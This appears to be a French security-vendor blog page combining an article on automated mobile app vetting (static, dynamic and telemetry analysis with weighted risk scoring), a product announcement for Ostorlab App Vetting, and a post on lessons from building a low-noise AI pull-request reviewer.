Mobile App Vetting / MAST (Analyse au niveau du paquet)	Oui (Analyse de façon exhaustive le code compilé, les SDK intégrés et l'hygiène des données)	Simulée (Exécute l'application dans des sandboxes de confinement instrumentées)	Non

Le piège de la « mise à jour silencieuse »

Même si une équipe IT examine et approuve manuellement une application commerciale sur étagère (COTS) le premier jour, cette application peut devenir un risque majeur pour l'entreprise en 24 heures. Les logiciels mobiles se mettent à jour en continu en arrière-plan. Un correctif mineur peut introduire des bibliothèques open source vulnérables, des identifiants codés en dur ou des SDK agressifs de suivi publicitaire sans que l'utilisateur ni le service IT s'aperçoivent d'un changement. Une sécurité réelle exige une validation automatisée et continue au niveau du paquet.

Les trois piliers techniques du Mobile App Vetting

Un pipeline sécurisé d'évaluation d'applications examine un fichier de paquet binaire développé en interne ou fourni par un tiers (plus précisément le paquet .apk pour Android ou l'archive .ipa pour iOS) en le soumettant à trois axes d'analyse principaux :

1. Static Application Security Testing (SAST)

Le SAST réalise une analyse de l'intérieur vers l'extérieur du code source désassemblé ou de la structure du binaire, sans l'exécuter. Il fait office de revue de code automatisée et exhaustive. Comme les outils de développement assistés par IA sont entraînés sur d'immenses dépôts publics remplis de dette de sécurité héritée, ils reproduisent fréquemment des anti-patterns non sécurisés.

Des études empiriques pionnières du NYU Center for Cybersecurity ont établi que les assistants IA génèrent du code vulnérable environ 40 % du temps. Par conséquent, les erreurs de programmation fondamentales restent extrêmement répandues dans les applications en production : une part significative des applications mobiles contient des clés cryptographiques codées en dur ou des jetons d'API non chiffrés directement dans le binaire.

Pendant la phase SAST, les systèmes d'évaluation recherchent :

Secrets codés en dur : clés cryptographiques, identifiants de stockage cloud, mots de passe de bases de données et points d'entrée d'API privés laissés par erreur dans le paquet de production par les développeurs.
Primitives cryptographiques non sécurisées : utilisation d'algorithmes de chiffrement cassés ou faibles, comme les chiffrements en mode Electronic Codebook (ECB), qui permettent aux attaquants de rétroconcevoir trivialement les structures de données.
Vulnérabilités d'injection de code : composants d'application exposés et sensibles à l'injection SQL, aux traversées de répertoires locales ou à des configurations de deep linking non sécurisées qui contournent la validation des intents.

2. Dynamic Application Security Testing (DAST)

Là où le SAST examine les plans, le DAST observe l'application vivante en action. Le paquet de l'application est décompressé et exécuté dans une Safe Containment Sandbox sécurisée et fortement instrumentée. Cette sandbox numérique interagit de façon programmatique avec l'application pour déclencher des parcours utilisateur réalistes tout en cartographiant chaque appel système interne.

Le DAST se concentre fortement sur le comportement à l'exécution et trace :

Transport de données non sécurisé : vérification que l'application communique en HTTP en clair plutôt que d'imposer un HTTPS strict, ce qui expose les jetons de session et les identifiants des utilisateurs à l'interception sur le réseau local.
Mise en cache locale non sécurisée : contrôle de l'écriture par l'application de jetons transactionnels sensibles, d'identifiants d'entreprise ou d'informations personnelles identifiables (PII) directement dans des journaux de l'appareil en clair (Logcat sur Android ou Syslog sur iOS) ou dans des fichiers de préférences partagées non chiffrés.
Transport Layer Security défaillant : vérification que l'application applique correctement le TLS certificate pinning ou si elle accepte aveuglément les certificats auto-signés, ce qui la rend vulnérable à l'interception de type Man-in-the-Middle (MitM).

3. Surveillance comportementale, de la confidentialité et de la télémétrie réseau stricte

L'analyse comportementale déplace l'attention des bugs de programmation accidentels vers la conception intentionnelle de l'application et l'architecture de sa chaîne d'approvisionnement. Cette phase retrace précisément quelles données l'application collecte, pourquoi elle les veut et exactement où elle les envoie.

Permissions excessives et risquées : profilage des applications qui exigent des droits sur l'appareil sans aucun rapport avec leur utilité première, comme un simple outil de calcul qui demande un accès continu en arrière-plan au microphone de l'appareil, à la pile Bluetooth et aux coordonnées GPS en temps réel.
La chaîne d'approvisionnement des SDK tiers : les applications modernes sont construites avec des dizaines de Software Development Kits (SDK) open source qui gèrent le suivi, l'analytique et la publicité. Ces SDK en arrière-plan s'exécutent avec exactement les mêmes permissions système que l'application hôte. Le profilage comportemental s'appuie sur une surveillance stricte de la télémétrie réseau pour journaliser chaque paquet sortant et déterminer précisément quand une bibliothèque de suivi cachée commence à collecter de la télémétrie et à l'acheminer vers des réseaux publicitaires tiers non autorisés ou vers des juridictions à haut risque.

Modélisation moderne du risque : au-delà des sévérités binaires

L'approche traditionnelle du reporting de sécurité reposait sur des échelles de sévérité arbitraires « élevée, moyenne, faible ». Dans ces modèles binaires, une application contenant une seule dépendance obsolète mais non exploitable peut être signalée comme « à risque élevé », ce qui oblige les équipes IT et sécurité à des cycles interminables de dérogations manuelles qui bloquent les opérations de l'entreprise.

La gestion moderne des risques en entreprise exige une approche multidimensionnelle qui pondère les vulnérabilités selon différents axes opérationnels, en fonction du contexte. Lors de la construction ou de l'évaluation d'un cadre d'évaluation des applications, le score de menace global doit être calculé selon cinq dimensions distinctes :

Détection des malwares et des menaces (pondération de 35 %) : risques immédiats à l'exécution, comme les chevaux de Troie intégrés, les logiciels espions actifs, les ransomwares ou les blocs de code malveillants conçus pour subvertir les contrôles du système d'exploitation.
Sécurité du code (pondération de 25 %) : vulnérabilités structurelles, mauvais usage de la cryptographie et alignement direct avec les normes de sécurité internationales comme les groupes de contrôles OWASP MASVS (notamment MASVS-STORAGE, MASVS-CRYPTO et MASVS-NETWORK).
Confidentialité et conformité des données (pondération de 20 %) : présence de scripts de suivi des utilisateurs intégrés, failles de communication en clair et chemins de partage de données, rattachés directement à des cadres réglementaires comme le RGPD, le CCPA et NIS2.
Confiance et autorité de l'éditeur (pondération de 10 %) : réputation historique de l'éditeur du logiciel, ancienneté de l'enregistrement du domaine, historique de téléchargement de l'application et données de distribution sûre sur des places de marché vérifiables.
Maintenabilité et santé du code (pondération de 10 %) : indicateurs de santé du code, ancienneté des frameworks de développement utilisés, fréquence des correctifs de sécurité et présence de modules open source abandonnés qui pourraient être ciblés lors de futures exploitations de la chaîne d'approvisionnement.

Structurer les moteurs de politiques automatisés autour de variables pondérées garantit que les applications utilitaires à faible risque ne bloquent pas les opérations, tandis que les applications réellement dangereuses qui font fuiter des données sont détectées immédiatement.

Fluidifier la collaboration avec les développeurs et la remédiation

Historiquement, les outils de test de sécurité des applications fonctionnaient comme des silos isolés et produisaient des rapports denses, très imbriqués. Lorsque les équipes de sécurité tentaient de transmettre ces résultats aux développeurs ou à des partenaires tiers externes, cela créait une friction opérationnelle considérable : les développeurs devaient se battre avec des interfaces complexes pour trouver les lignes de code exploitables, et les évaluateurs externes se heurtaient à des barrières d'accès rien que pour lire un seul résultat de scan.

Pour s'aligner sur le DevSecOps moderne, les mécanismes de communication du Mobile App Vetting doivent évoluer afin de privilégier la rapidité et l'accessibilité :

Un reporting direct et exploitable

Les résultats d'audit doivent être présentés dans un format clair et linéaire plutôt que cachés derrière des menus d'interface complexes. Avec une documentation simple et de haute fidélité, les développeurs peuvent immédiatement repérer et corriger le chemin de fichier exact, le SDK vulnérable ou la faille de configuration, sans délai administratif.

Un accès sans friction pour les parties prenantes

Le développement mobile étant fréquemment externalisé auprès d'agences externes ou d'équipes sous contrat, la collaboration doit être sans frontières. Les pipelines d'évaluation en entreprise doivent prendre en charge des mécanismes d'accès sécurisés et temporaires, comme le partage basé sur les rôles ou des liens en lecture seule limités dans le temps. Cela permet aux équipes de sécurité internes de partager des tableaux de bord précis avec des développeurs externes ou des auditeurs tiers sans qu'ils aient à créer des identifiants d'entreprise ni à consommer des licences logicielles de l'entreprise.

Concevoir et déployer une architecture MAV automatisée

Un workflow mature d'évaluation des applications mobiles en entreprise ne doit exiger aucune intervention manuelle de votre personnel de sécurité IT pour les demandes quotidiennes courantes. Le système fonctionne comme une boucle automatisée et programmatique :

flowchart TD Start["Un employé ou le CI/CD demande un paquet d'application"] --> Engine["Moteur d'évaluation mobile automatisé"] Engine -.-> SAST["Analyse statique (SAST)"] Engine -.-> DAST["Exécution dans une Safe Containment Sandbox (DAST)"] Engine -.-> Telemetry["Surveillance stricte de la télémétrie réseau (SDK / confidentialité)"] Engine --> Scoring["Scoring pondéré multidimensionnel
(Malware / Sécurité / Confidentialité / Confiance / Maintenabilité)"] Scoring --> Eval["Vérification automatisée de la politique"] Eval --> Meets["Seuil respecté"] Eval --> Violates["Seuil non respecté"] Meets --> Approved["Approbation automatique dans le MDM
(Provisionnée pour l'utilisateur)"] Violates --> Quarantined["Application mise automatiquement en quarantaine dans le MDM
(Lien de rapport direct et jeton générés)"] Quarantined --> Remediation["Remédiation
(Envoi via API vers Slack, Jira, etc.)"]

Découverte continue de l'inventaire : le moteur d'évaluation automatisé se connecte directement aux dépôts d'applications de votre MDM d'entreprise et à vos dépôts de code CI/CD via une connexion API permanente (en REST ou GraphQL). Dès qu'une nouvelle version d'un paquet d'application est soumise ou demandée, elle est clonée et transmise au moteur d'analyse.
Exécution en parallèle : le moteur décompile le binaire pour le SAST, le démarre dans une sandbox de confinement instrumentée pour le DAST et cartographie le trafic sortant vers les serveurs grâce au suivi de télémétrie afin de vérifier la conformité en matière de confidentialité.
Évaluation calibrée de la politique : le moteur calcule le score de risque multidimensionnel au regard des paramètres de seuil de risque précis de votre organisation. Si l'application franchit les seuils de l'entreprise, le moteur d'évaluation met à jour le registre du MDM pour marquer le paquet comme vérifié.
Remédiation orchestrée instantanée : si le score de l'application tombe sous le seuil de conformité autorisé (par exemple, des données sont acheminées vers un point de terminaison non chiffré), l'outil d'évaluation ordonne au MDM, via l'API, de mettre automatiquement l'application en quarantaine sur l'ensemble du parc. Simultanément, un lien de rapport direct et un jeton de consultation sécurisé sont générés, et une alerte immédiate est envoyée directement dans le canal Jira ou Slack de l'équipe d'ingénierie pour une résolution sans friction.

Conclusion : éliminer l'angle mort du mobile

Les applications mobiles ont complètement dépassé leur origine de simples compléments logiciels ; elles sont désormais l'espace de travail principal des effectifs distribués modernes. Confier leur vérification de sécurité aux filtres standard des stores publics ou à des profils de gestion d'appareils passifs introduit une vulnérabilité considérable sur les plans réglementaire, financier et de la chaîne d'approvisionnement.

En adoptant un cadre d'évaluation des applications mobiles automatisé, qui s'appuie sur un scoring pondéré multidimensionnel, un confinement en sandbox sécurisé et des fonctions de collaboration modernes et sans friction, les organisations peuvent éliminer leurs angles morts de visibilité. Les équipes de sécurité passent du rôle de bloqueurs rigides à celui de facilitateurs automatisés : l'entreprise peut adopter des logiciels innovants à grande échelle tout en restant entièrement sûre de l'intégrité de ses données sous-jacentes.

Présentation d'Ostorlab App Vetting pour l'ère agentique

2026-06-16T08:47:00+02:00

Les organisations s'appuient de plus en plus sur des applications mobiles tierces, pourtant l'évaluation de leur posture de sécurité reste un processus fragmenté. Les équipes sécurité sont souvent obligées de recouper rapports de vulnérabilités, évaluations de la vie privée, indicateurs de malware et signaux de réputation issus de sources multiples avant de prendre une décision d'approbation.

Aujourd'hui, nous présentons App Vetting, une nouvelle capacité d'Ostorlab conçue pour aider les organisations à évaluer les applications Android et iOS grâce à une analyse automatisée, un score de risque contextualisé et une surveillance continue.

App Vetting combine analyse statique, tests dynamiques et exécution en sandbox de confinement sécurisé pour offrir une vue complète du risque d'une application avant son déploiement et tout au long de son cycle de vie.

Des résultats aux décisions

La plupart des outils de sécurité s'arrêtent à la détection.

App Vetting utilise des workflows agentiques pour analyser les résultats, identifier les schémas de risque significatifs et indiquer le contexte de ce sur quoi les équipes sécurité doivent se concentrer en premier.

Plutôt que de submerger les utilisateurs sous des centaines de résultats isolés, App Vetting aide à prioriser les problèmes qui ont le plus d'impact sur le profil de risque global d'une application.

L'objectif est simple : aider les équipes à passer moins de temps à examiner des résultats et plus de temps à prendre des décisions éclairées.

Plutôt que de se fier uniquement aux niveaux de sévérité, cette approche aide les équipes sécurité à comprendre ce qui contribue au profil de risque global d'une application et à prendre des décisions d'approbation mieux informées.

Score de risque multidimensionnel

Les applications sont évaluées selon cinq dimensions :

Malware (35 %)
Security (25 %)
Privacy (20 %)
Trust (10 %)
Maintainability (10 %)

Ce modèle de score offre une vue plus complète du risque d'une application que les seuls niveaux de sévérité traditionnels.

En combinant l'analyse des vulnérabilités, les indicateurs de malware, les préoccupations liées à la vie privée, les signaux de confiance et les facteurs de maintenabilité à long terme, App Vetting aide les organisations à comprendre non seulement si une application est risquée, mais aussi pourquoi.

Surveillance continue

Le risque d'une application évolue dans le temps.

Les nouvelles versions introduisent du nouveau code, de nouvelles dépendances, permissions, SDK et comportements. Une évaluation de sécurité réalisée aujourd'hui peut ne plus refléter le risque d'une application demain.

App Vetting analyse en continu les nouvelles versions d'application dès leur publication, ce qui aide les organisations à garder de la visibilité sur les changements qui affectent la sécurité, la vie privée, la confiance et la posture de risque globale.

Les équipes peuvent ainsi dépasser les revues ponctuelles et adopter une approche continue de la gestion des risques des applications mobiles.

Disponible dès aujourd'hui

Commencez à évaluer des applications Android et iOS grâce à une évaluation automatisée des risques, une surveillance continue et des workflows de collaboration sécurisés.

Essayer App Vetting maintenant

Construire un relecteur de PR en IA auquel les ingénieurs font vraiment confiance

2026-06-08T10:30:00+02:00

Pourquoi la relecture de PR est un bon problème pour l'IA

À un moment donné, notre relecteur de pull requests par IA a cessé de ressembler à une expérience.

Il est devenu partie intégrante du flux de relecture.

Les ingénieurs n'étaient pas toujours d'accord avec lui, l'ignoraient parfois, et le remerciaient à l'occasion. Un ingénieur a même répondu avec un emoji bisou après qu'il ait approuvé une pull request.

Ces interactions étaient utiles à observer, non pas parce que le relecteur avait toujours raison, mais parce qu'elles montraient ce qui se passe lorsque le retour de l'IA s'intègre à un flux d'ingénierie.

La question n'est plus seulement de savoir si le système peut trouver des problèmes.

C'est de savoir si les ingénieurs sont prêts à faire confiance à ce qu'il dit.

Notre première version a échoué.

Nous ne l'avons pas arrêtée parce qu'elle manquait des problèmes.

Nous l'avons arrêtée parce qu'elle trouvait trop de problèmes qui n'existaient pas.

Cette distinction compte. La plupart des discussions sur la relecture de code par IA se concentrent sur la couverture : combien de bugs un système peut trouver, combien de vulnérabilités il peut détecter, ou combien de commentaires il peut générer. En pratique, la métrique qui comptait le plus pour nous n'était pas la couverture. C'était la confiance.

La relecture de pull requests est un terrain naturel pour appliquer l'IA. Les ingénieurs seniors passent un temps considérable à identifier des schémas récurrents, faire respecter des conventions, repérer des hypothèses risquées, vérifier des cas limites, et se demander si un changement s'intègre bien au reste du système. Une partie de ce travail demande un jugement architectural profond. Mais une large portion est répétitive et mécanique.

Ces vérifications répétitives sont exactement là où l'IA peut aider.

Le défi est que la relecture de code ne consiste pas seulement à trouver des problèmes. Il s'agit de trouver les bons problèmes, de les expliquer clairement, et de le faire avec suffisamment de précision pour que les ingénieurs soient prêts à agir sur le retour.

Un relecteur bruyant est pire que l'absence de relecteur. Un ingénieur humain peut ignorer le silence. Il ne peut pas ignorer un commentaire plausible mais incorrect sans passer du temps à prouver qu'il a tort.

C'est la leçon que nous avons apprise à nos dépens.

Notre première tentative

Notre première version avait un objectif simple : relire les pull requests avant qu'un relecteur humain n'intervienne et détecter les problèmes courants tôt.

À l'époque, cela semblait être un cas d'usage pratique et à fort impact. Les relectures de pull requests étaient devenues un goulot d'étranglement. Les ingénieurs seniors passaient trop de temps sur des retours répétitifs, et les files d'attente de relecture ralentissaient le développement pour toute l'équipe.

L'objectif n'a jamais été de remplacer les relecteurs. C'était de réduire la partie mécanique du processus de relecture afin que les ingénieurs puissent consacrer plus de temps à l'architecture, à l'impact sur la sécurité et à la logique métier.

La première version s'exécutait automatiquement à l'ouverture ou la mise à jour d'une pull request. Elle collectait le diff, rassemblait les fichiers modifiés et un contexte environnant limité, envoyait ces informations à un modèle de langage, puis publiait des commentaires de relecture sur la pull request.

Le workflow était volontairement simple :

Un événement de pull request déclenchait le relecteur.
Le système extrayait le diff et les fichiers modifiés.
Le modèle relisait le changement à l'aide d'un prompt fixe.
Les constats générés étaient convertis en commentaires de pull request.
Les ingénieurs examinaient ces commentaires aux côtés du retour humain.

Cette simplicité rendait le système facile à construire, mais elle est aussi devenue sa plus grande faiblesse. L'agent pouvait voir ce qui avait changé, mais il ne pouvait souvent pas voir assez du système environnant pour déterminer si un constat était réellement valide.

Sur le papier, l'hypothèse était raisonnable. Si un relecteur IA pouvait détecter les problèmes courants avant qu'une pull request n'atteigne un ingénieur senior, les relecteurs pourraient passer moins de temps à répéter le même retour et plus de temps à discuter des décisions de conception.

En pratique, le système produisait des commentaires qui semblaient utiles mais étaient souvent faux.

Le mode d'échec : un retour plausible mais incorrect

La première version n'a pas échoué de façon évidente.

Elle ne postait pas de commentaires absurdes. Elle ne se méprenait pas sur chaque pull request. Elle ne produisait pas de recommandations manifestement cassées.

Le problème était plus subtil : de nombreux commentaires étaient suffisamment plausibles pour que les ingénieurs se sentent obligés de les examiner, mais suffisamment incorrects pour que cet examen fasse souvent perdre du temps.

Certains exemples étaient mineurs mais irritants. L'agent recommandait parfois des changements de style en contradiction avec nos propres conventions, suggérant par exemple des noms de test en snake_case dans une base de code qui utilisait systématiquement le camelCase.

Certains commentaires étaient plus perturbateurs. Dans un cas, l'agent a signalé du code qui avait déjà été corrigé ailleurs dans la même pull request. Dans un autre, il a recommandé d'ajouter des tests d'intégration nécessitant un environnement navigateur, alors que notre environnement CI ne prenait pas en charge l'exécution basée sur un navigateur.

Nous avons aussi observé des commentaires en double apparaître sur la même pull request. L'agent identifiait le même problème perçu plus d'une fois et publiait plusieurs variantes du même retour. Même lorsque l'observation sous-jacente était valide, cette répétition rendait la relecture bruyante.

Les commentaires les plus frustrants étaient ceux qui semblaient raisonnables à première vue. Par exemple, l'agent pouvait suggérer une gestion d'exception plus large sans comprendre que le type d'exception plus restreint était intentionnel. Ou il pouvait recommander une refactorisation techniquement valide mais incohérente avec le code environnant.

Un mauvais commentaire de relecture par IA a un coût. Quelqu'un doit le lire, le comprendre, vérifier s'il s'applique, inspecter le code environnant, et décider s'il faut agir dessus. Si le commentaire est faux, tout ce temps est perdu.

Avec le temps, les ingénieurs ont cessé de considérer l'agent comme un relecteur utile et ont commencé à le considérer comme une autre source de bruit de relecture.

À ce stade, le projet n'aidait plus.

Nous l'avons donc désactivé.

La vraie leçon : les faux positifs sont pires que les oublis

La leçon la plus importante de la première version est que les faux positifs sont souvent plus dommageables que les constats manqués.

Un relecteur qui manque occasionnellement un problème peut rester utile. Un relecteur qui soulève à répétition des problèmes incorrects crée du travail pour tout le monde.

C'est particulièrement vrai en relecture de code, car les commentaires de relecture interrompent le flux de travail d'un ingénieur. Un commentaire n'est pas qu'un texte. C'est une demande d'attention. Il demande à l'auteur de s'arrêter, d'inspecter le code, de raisonner sur le problème et de décider si un changement est nécessaire.

Si cette demande s'avère fausse trop souvent, la confiance s'érode rapidement.

Une fois la confiance perdue, même les commentaires corrects perdent de leur valeur. Les ingénieurs commencent à tout vérifier. Ils lisent le retour de l'agent avec méfiance. Ils supposent qu'il a probablement tort jusqu'à preuve du contraire.

Cela change le rôle de l'outil. Au lieu de réduire la charge de relecture, il l'augmente.

Pour la relecture de code par IA, la précision compte plus que le volume. Dix commentaires ne valent pas mieux qu'un seul commentaire si neuf d'entre eux nécessitent un rejet manuel. Un bon agent de relecture doit être à l'aise de rester silencieux.

C'est devenu le principe directeur de la deuxième version.

Pourquoi la relecture de code a besoin de plus de contexte qu'un diff

Notre première version traitait la relecture de pull requests essentiellement comme un problème d'analyse de diff. C'était une erreur.

Les relecteurs expérimentés n'évaluent pas un changement en ne regardant que les lignes modifiées. Ils utilisent un ensemble de contexte bien plus large :

Les schémas existants dans le code environnant
Les conventions de nommage et de test propres au projet
Le comportement des dépendances
Les hypothèses d'exécution
Les limitations du CI
Les frontières de sécurité
Les décisions de conception antérieures
La logique métier et l'intention produit
Si un problème similaire a déjà été résolu ailleurs

Un changement qui paraît suspect isolément peut être correct une fois replacé dans le système complet. L'inverse est également vrai : un changement qui paraît anodin dans un diff peut introduire un bug à cause d'un comportement dans un autre fichier, service ou chemin d'exécution.

Cet écart de contexte explique beaucoup des échecs de la première version.

Le modèle n'avait souvent pas tort par manque de capacité linguistique. Il avait tort parce qu'il manquait d'informations. Lorsque le système ne pouvait pas voir le contexte pertinent, il devinait. Et quand il devinait, il produisait parfois un retour assuré mais incorrect.

Le problème n'était pas seulement le modèle.

Le problème était l'architecture autour du modèle.

Pourquoi nous sommes revenus sur le problème

Nous avons fini par revenir sur la relecture de pull requests par IA parce que le problème initial n'avait pas disparu.

Les ingénieurs seniors continuaient de passer du temps sur des tâches de relecture répétitives. Beaucoup de ces tâches étaient importantes, mais ne nécessitaient pas toujours un jugement de niveau senior. Nous croyions toujours qu'il y avait de la valeur à détecter plus tôt les problèmes mécaniques, à condition d'éviter de créer du bruit.

Dans le même temps, la technologie avait progressé.

Les modèles plus récents étaient meilleurs pour comprendre le code, respecter des contraintes et raisonner sur les détails d'implémentation. Des fenêtres de contexte plus grandes permettaient de fournir davantage de contexte du dépôt au lieu de forcer le modèle à travailler à partir d'un diff étroit. Les patterns d'agents avaient eux aussi mûri : au lieu de s'appuyer sur un seul prompt, les systèmes pouvaient récupérer des informations, inspecter des fichiers, appeler des outils et structurer leur travail autour d'objectifs de relecture précis.

Cela a changé notre approche.

Nous n'essayions plus de construire un relecteur générique commentant tout ce qu'il remarquait. Nous essayions de construire un système de relecture prudent, concentré sur des constats à haute confiance et à fort signal.

La question est passée de :

Combien de problèmes l'agent peut-il trouver ?

à :

Sur quels problèmes l'agent devrait-il être autorisé à commenter ?

Ce changement a rendu la deuxième version bien meilleure.

Ce qui a changé dans l'architecture

Le système actuel n'est pas né d'une seule percée. Il est le fruit de plusieurs itérations autour d'une idée centrale : le relecteur a besoin de contexte avant de gagner le droit de commenter.

Nos premières expériences utilisaient CrewAI pour coordonner le comportement de relecture. Cette approche était prometteuse, mais la sortie n'était pas suffisamment fiable de façon constante pour la relecture de pull requests. Nous sommes ensuite passés à un workflow plus simple basé sur Pydantic, qui nous a apporté plus de structure et plus de contrôle sur le pipeline de relecture. Cela a amélioré la cohérence, mais le système se méprenait encore sur le code lorsque le contexte pertinent manquait.

L'itération suivante s'est orientée vers une architecture basée sur des outils.

Au lieu de demander au modèle de relire une pull request à partir d'un prompt fixe, le système peut désormais rassembler des informations supplémentaires au besoin. Il peut inspecter des fichiers liés, regarder des implémentations voisines, récupérer les conventions pertinentes, et restreindre son analyse à des tâches de relecture spécifiques.

À un niveau général, le flux ressemble à ceci :

Réception de l'événement de pull request
Le système démarre à l'ouverture ou la mise à jour d'une pull request.
Analyse du diff et des fichiers modifiés
Le relecteur identifie ce qui a changé et quels fichiers sont concernés.
Sélection des objectifs de relecture
Au lieu de réaliser une relecture ouverte, le système se concentre sur des catégories spécifiques de problèmes.
Récupération du contexte pertinent
L'agent rassemble le code environnant, les fonctions liées, les tests, les fichiers de configuration, et les schémas du dépôt.
Analyse ciblée
Le système vérifie des problèmes concrets tels qu'un nettoyage manquant, des exceptions non gérées, des hypothèses risquées, ou des changements d'état non persistés.
Filtrage des constats par confiance
Les observations à faible confiance sont supprimées plutôt que publiées.
Génération prudente des commentaires
Seuls les constats spécifiques, actionnables et liés à la pull request sont remontés.

Cette architecture a rendu le système plus utile car elle a réduit les approximations.

Le relecteur est devenu moins un chatbot réagissant à un diff, et plus un outil d'ingénierie spécialisé avec un mandat restreint.

La collecte de contexte est devenue la fonctionnalité la plus importante

La plus grande amélioration est venue du fait de donner au système un meilleur contexte.

Notre première version voyait la pull request mais manquait souvent l'implémentation environnante. La version plus récente peut récupérer des informations qui aident à répondre à des questions comme :

Ce schéma est-il déjà utilisé ailleurs dans le dépôt ?
Le changement suggéré est-il cohérent avec le code environnant ?
Cette fonction a-t-elle des appelants qui dépendent du comportement actuel ?
Y a-t-il des tests couvrant ce chemin ?
Cette gestion d'exception est-elle intentionnelle ?
Le code dépend-il d'une valeur de configuration ou d'une hypothèse d'exécution ?
Le problème est-il déjà traité dans une autre partie de la même pull request ?

Cela compte car de nombreux mauvais commentaires de relecture viennent d'une visibilité incomplète.

Par exemple, si l'agent voit une écriture dans un répertoire, il peut suggérer de vérifier que le répertoire existe. Cela peut être utile. Mais si le code d'initialisation crée déjà le répertoire avant l'appel de la fonction, le commentaire devient du bruit.

La différence entre un constat utile et un faux positif tient souvent à un ou deux fichiers de contexte.

La récupération ne résout pas tous les problèmes, mais elle réduit considérablement le nombre de cas où le modèle doit déduire un comportement à partir d'une vue partielle.

Nous avons arrêté d'optimiser pour le nombre de commentaires

L'un des changements les plus importants a été de rendre le système plus prudent.

La première version récompensait implicitement le fait de trouver des choses. La seconde version récompense le fait d'être utile.

Cela demandait une philosophie de sortie différente. Le relecteur ne devrait pas commenter simplement parce que quelque chose pourrait être amélioré. Il devrait commenter lorsqu'il y a un problème concret, suffisamment de contexte à l'appui, et une action claire que l'auteur peut entreprendre.

Une suggestion stylistique n'est généralement pas suffisante. Une suggestion de refactorisation large n'est généralement pas suffisante. Un problème possible qui dépend d'une intention métier inconnue n'est généralement pas suffisant.

Le système est désormais conçu pour préférer le silence lorsque la confiance est faible.

C'était un changement difficile mais nécessaire. De nombreux systèmes d'IA paraissent plus impressionnants lorsqu'ils produisent plus de sortie. La relecture de code, c'est l'inverse. Un agent de relecture qui commente moins souvent mais a généralement raison est bien plus précieux qu'un agent qui commente sur chaque préoccupation possible.

La confiance se construit par la retenue.

Seuils de confiance et qualité des commentaires

Nous avons aussi commencé à traiter l'incertitude comme une partie à part entière du système.

Avant qu'un constat ne soit publié, le relecteur examine si le problème est spécifique, actionnable, et soutenu par le contexte disponible. Un bon commentaire doit généralement répondre à plusieurs critères :

Il pointe vers un emplacement concret dans le changement.
Il explique clairement le risque.
Il évite un langage vague.
Il ne dépend pas d'hypothèses que l'agent ne peut pas vérifier.
Il n'entre pas en conflit avec les conventions visibles du dépôt.
Il suggère un correctif pratique ou une prochaine étape.
Il est suffisamment important pour interrompre l'auteur.

Ce filtrage compte car des commentaires techniquement corrects peuvent tout de même ne pas être utiles.

Par exemple, suggérer une refactorisation peut être raisonnable isolément, mais ne vaut pas la peine d'être publiée si le code est clair, cohérent avec les schémas environnants, et sans rapport avec l'objectif de la pull request. De même, recommander une gestion d'exception plus large peut sembler plus sûr, mais cela peut masquer des modes de défaillance utiles et rendre le débogage plus difficile.

Le relecteur ne devrait pas se comporter comme un linter doté d'opinions. Il devrait se comporter comme un assistant attentif qui comprend le coût de chaque commentaire qu'il publie.

Ce que la version actuelle détecte bien

La version actuelle est la plus performante sur les problèmes répétitifs et mécaniques, où le comportement attendu peut être vérifié à partir du code.

Ce sont le genre de constats qui comptent souvent mais ne nécessitent pas toujours un contexte métier profond. Ce sont aussi le type de problèmes que les ingénieurs seniors détectent à répétition lors de la relecture manuelle.

Le système s'est révélé utile pour identifier des problèmes tels que :

Des exceptions non gérées pouvant provoquer des plantages
Des fuites de ressources cachées derrière des retours anticipés
Des changements d'état calculés mais jamais persistés
Du code mort laissé après des refactorisations
Des étapes d'initialisation manquantes, comme écrire dans des répertoires qui pourraient ne pas exister
Un comportement de nettoyage incohérent entre les chemins de succès et d'échec
Des hypothèses risquées autour des opérations sur les fichiers, les processus ou le réseau
Des situations de concurrence dans des scénarios étroits et concrets

Un constat particulièrement utile a été un véritable problème de type « time-of-check to time-of-use ». Le code vérifiait qu'une condition était vraie, puis effectuait une opération plus tard en supposant que la condition n'avait pas changé. Ce type de problème est facile à manquer en relecture car les lignes concernées peuvent sembler raisonnables individuellement. L'agent a été capable de relier la séquence et de signaler le risque.

C'est là que la relecture par IA nous semble actuellement la plus précieuse : non pas en tant qu'architecte, mais en tant que relecteur infatigable pour la justesse mécanique.

Elle aide à retirer une partie du travail répétitif du chemin critique de relecture, afin que les relecteurs humains puissent se concentrer sur un jugement de plus haut niveau.

Ce qu'elle manque encore

Le système est meilleur que la première version, mais il est loin de remplacer la relecture humaine.

Il peine encore avec le raisonnement architectural large, la logique métier spécifique au domaine, et les décisions dont le contexte le plus important se trouve en dehors du dépôt. Il peut souvent comprendre comment le code fonctionne. Comprendre pourquoi le code a été écrit de cette façon est bien plus difficile.

L'intention reste le problème le plus difficile.

Le relecteur peut encore suggérer des changements techniquement valides mais peu utiles. Il peut recommander de refactoriser du code déjà acceptable. Il peut suggérer une abstraction plus générale alors que l'implémentation explicite actuelle est plus facile à maintenir. Il peut proposer une gestion d'exception plus large même lorsqu'un type d'exception plus restreint a été choisi intentionnellement.

Par exemple, le système a suggéré de remplacer une gestion d'exception spécifique telle que :

except RuntimeError

par une gestion plus large telle que :

except Exception

Dans certains contextes, cela peut être raisonnable. Dans d'autres, c'est pire. Capturer une exception large peut masquer des erreurs de programmation, rendre les défaillances plus difficiles à déboguer, et affaiblir les garanties sur lesquelles repose le code environnant.

L'agent peut évaluer des détails d'implémentation, mais il ne comprend pas toujours l'intention de conception.

Cette limite façonne la manière dont nous l'utilisons. Nous ne voulons pas que le relecteur formule de larges recommandations architecturales à moins d'avoir des preuves solides. Nous voulons qu'il se concentre sur les problèmes où le code lui-même fournit assez de contexte pour rendre le constat fiable.

Comment nous pensons l'évaluation

Nous n'évaluons plus le relecteur au nombre de commentaires qu'il produit.

Un nombre élevé de commentaires n'est pas un succès. Dans bien des cas, c'est un signal d'alerte.

Les métriques qui nous importent se rapprochent plutôt de :

À quelle fréquence les ingénieurs sont d'accord avec le commentaire
À quelle fréquence un commentaire mène à un véritable changement de code
Combien de commentaires sont rejetés comme non pertinents
À quelle fréquence le même problème est signalé plus d'une fois
Combien de temps les relecteurs passent à valider le retour de l'agent
Si l'agent détecte les problèmes répétitifs avant les relecteurs seniors
Si les ingénieurs continuent de faire confiance à l'outil dans la durée

Le signal le plus important est de savoir si les ingénieurs considèrent le retour de l'agent comme digne d'être lu.

Si les ingénieurs ignorent les commentaires, le système a échoué, même si certains constats sont techniquement corrects. Si les ingénieurs agissent systématiquement sur un petit nombre de commentaires précis, le système fait son travail.

